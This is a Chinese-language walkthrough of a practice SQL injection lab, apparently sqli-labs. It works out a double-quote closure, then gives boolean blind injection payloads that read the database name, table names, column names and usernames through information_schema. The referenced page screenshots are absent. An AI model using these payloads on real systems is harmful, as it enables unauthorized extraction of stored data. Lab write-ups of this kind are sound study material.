1、判断闭合方式
输入语句
?id=1\
,返回页面如下:
我们发现没有报错信息,所以不适合使用报错注入。
我们输入语句
?id=1" and 1=2--+
,返回页面如下:
输入语句
?id=1" and 1=1 --+
,返回页面如下:
闭合方式是双引号。
2、选择注入方式
我们发现当输入语句错误和正确时,返回的页面不一样。所以适合使用布尔盲注。
3、确定数据库名的长度
输入语句
?id=1" and length(database())=8 --+
,返回页面如下:
4、爆破数据库名
输入语句
?id=1" and substr(database(),1,1)='s' --+
,返回页面如下:
5、确定数据表的数量
输入语句
?id=1" and (select count(table_name) from information_schema.tables where table_schema=database())=4--+
,返回页面如下:
6、确定单个数据表名的长度
输入语句
?id=1" and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6--+
,返回页面如下:
这说明第一个数据表的名字的长度为6。将limit 0,1
该为limit 1,1
表示查看第二个数据表名。
7、爆破数据表名
输入语句
?id=1" and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e'--+
,返回页面如下:
8、确定字段的数量
输入语句
?id=1" and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users' )=3--+
,返回页面如下:
9、确定字段名的长度
输入语句
?id=1" and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)=2--+
,返回页面如下:
10、爆破字段名
输入语句
?id=1" and substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1)='i'--+
,返回页面如下:
11、确定字段内容的数量
输入语句
?id=1" and (select count(username) from users)=13--+
,返回页面如下:
12、确定字段内容的长度
输入语句
?id=1" and (select length(username) from users limit 0,1)=4 --+
,返回页面如下:
13、爆破字段内容
输入语句
?id=1" and substr((select username from users limit 0,1),1,1)='D' --+
,返回页面如下:
到此打靶结束